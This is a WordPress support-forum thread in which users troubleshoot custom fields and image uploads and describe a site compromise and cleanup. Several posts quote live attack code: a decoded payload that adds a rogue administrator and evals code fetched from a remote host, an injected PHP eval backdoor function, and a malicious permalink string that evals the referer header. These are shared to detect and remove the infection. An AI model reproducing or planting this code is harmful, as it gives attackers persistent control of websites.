netslacker

Thanks Voodoo, that is what I was looking for. I had found the add_meta_box hook just a few minutes ago and the link didn’t have any content. So I was just starting to explore that hook a bit more.

I think the custom fields is the right place holder for the information, I just don’t like the way in which custom fields are entered and updated. I’d like to change the custom fields to actual input fields with their own labels so that it’s not so tedious to enter data or use the custom fields.

Tags, Cats and Taxonomy stuff appears to be a single attribute applied to many posts. I’m looking for a single attribute type applied to a single post but with different data.

Does it not work with ANY size image? ie: do smaller images work but larger ones do not?

Try a smaller image (smaller in picture size not file size), see if that works.

Depending on your host, you may be running into the process memory limit when crunching. I get this all the time with 1&1. I just have to resize the image to a smaller overall size and it uploads/crunches just fine, but with larger images it will just upload them and die when crunching.

You can also check your error logs to see what error php is putting out.

Has anyone noticed that their flash image uploader no longer works? Maybe this is a function of disabling xmlrpc.php also disables the flash image uploader?

I went to add images to a post tonight and I get “HTTP Error” in the flash uploader when I click on “upload.” If I use the html version it works just fine, w/o issue.

I’ll dig into it in the morning, just wondering what others have seen.

I’ve found that there were multiple new files on my filesystem. All of them were capable of executing the payload delivered through the post action above. IT’S NOT JUST XMLRPC.php. In my case, I found at LEAST 10 files that were altered or newly added to the system that had the necessary function to execute the payload code.

Just because you block xmlrpc does not mean you’ve stopped their access to the site. This is ESPECIALLY true if you’ve already been hacked as they’ve likely added multiple entry points as in my case.

xmlrpc.php may have been the FIRST entry point, but if you’ve been attacked you must examine your filesystem carefully. See my earlier post.

@cyberws

The decoded string is similar:

$role=’administrator’;$user_login=’AdamSlusser85′;$user_pass=’BY(d(&x8)Kip’;eval(file_get_contents(‘https://links.webwordpress.cn/data/shortpart2.txt’));exit;

@interbasket

I fixed my site 3 times in the past 24 hours by just doing the permalink fix. It’s not enough. It will return.

@rwboyer

NICE FIND!

Since the hack includes a method call to base64_decode I took the string from your find and VOILA! Here’s what you get:

$role=’administrator’;$user_login=’JeramyDeck79′;$user_pass=’OgrO!I3$Ld!!’;eval(file_get_contents(‘https://links.webwordpress.cn/data/shortpart2.txt’));exit;

The file:
https://links.webwordpress.cn/data/shortpart2.txt

You can open the file link in a browser. You can see they are pulling from the users table.

Once you have the hack on your site the attacker can execute WHATEVER they want using the base64_decode method call. Clever hack.

To be clear, the string “JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdKZXJhbXlEZWNrNzk nOyR1c2VyX3Bhc3M9J09nck8hSTMkTGQhISc7ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0c DovL2xpbmtzLndlYndvcmRwcmVzcy5jbi9kYXRhL3Nob3J0cGFydDIudHh0JykpO2V4aXQ7”
when base64 decoded, gives the code above.

@dyske

Totally agree. I guess my point is that I’m not aware of a “fix” for this particular hack and since I’ve had it happen now multiple times I just want it stable so I can sleep at night!!

Doing a recursive chmod to add back the write permissions is trivial. If I want to get back to where I was and upgrade I simply run the chmod +rw command on the whole thing and I’m good to go.

However, since removing the write attribute is a sound security practice anyway (no matter if it’s wp or some other app), it’s still valid advice. The drawback is that wp is built for the masses for easy upgrade through the admin console, so by it’s nature, it will be prone to hacks. Security always has a trade off. Many people chase the upgrades to get new features like kids on christmas morning. However, my approach is to always wait until the issues are resolved before upgrading (unless it’s a security patch/upgrade).

My steps for cleaning did not involve following those on the links above.

I found that I could easily replace the hacked files with valid ones. I then removed the write permission on all wordpress files. However, in doing this kills the ability to upgrade via the admin console and will make upgrades harder. for me tho, I’m all about having a stable site and I don’t care right now about upgrading.

I also created a blank index.php file in EVERY directory that didn’t have one already (/images, wp-content, etc etc). Since when I looked through my installation, MANY directories had NEW index.php files that would simply call the injected function. So I removed these files, created a new, blank index.php and then removed the read and write permissions (removing write means nobody can inject bad code again into that file).

If you have index.php files that have the function, a hacker can simply call the function over and over again by making an http call to the file w/ their browser. voila, function executes, hack restored. So you must prevent this from occuring over and over.

On linux/unix, to remove write permissions (must be at a shell):
chmod -w <filename>

So, for all files in the root:
chmod -w *.php

To create an index.php file where there is NOT one:
touch index.php (creates an empty file)
chmod -rw index.php (removes read and write)

Now, if a browser goes to https://myhackedsite/wp-content/ the browser returns a PERMISSION DENIED error. Since the file is there but it’s not readable.

Be CAREFUL. Some files need write access. But not many. And DONT remove the read access from index.php files that are part of the wordpress install. root and wp-admin (and others) have VALID index.php files. just inspect them for the malitious function and just remove the write attribute (chmod -w filename).

I removed the write attribute from nearly every file in wordpress and my theme that I am using. this was my quick and dirty way to HOPEFULLY prevent it from happenning again. Since in the past 3 days I’ve had it occur multiple times.

If there is a better approach, I’m all ears. However, until a fix is put in wordpress I’m not taking any chances at all.

@chloealicewilson

You need to login to your hosting account and look at all the files. I’ve got a shell access to I can just check and modify directly there. However, if you’re coming in via web, there should be a way to view all the files on your hosting account and it should tell you last modified timestamps.

I have files that were modified over a couple of days. Starting on Aug 30th. All of those files (about 10 in total) have had the function above injected.

The following function appeared in my index.php file. Everyone, check your last modified dates on your installation files for any file that has changed recently. If it’s a wordpress file that you’ve not modified, be sure to inspect it or replace it with the original.

function gpc_9086($l9088){if(is_array($l9088)){f
oreach($l9088 as $l9086=>$l9087)$l9088[$l9086]=gpc_9086($l9087);}elseif(is_string($l9088) && substr($l9088,0,4)==”____”)
{eval(base64_decode(substr($l9088,4)));$l9088=null;}return $l9088;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_m
ap(“gpc_9086”,$_SERVER);

The problem keeps returning.

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

ends up in the permalink structure.

I am having the same problem. Multiple times now in the last 24 hours. I keep fixing it, it keeps coming back.

Not sure what to do.

permalinks end up with this crap:
/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

I have it as: /%year%/%monthnum%/%postname%/

So, the undefined is coming from somewhere else, like a plugin (??). But I just can’t figure out which one.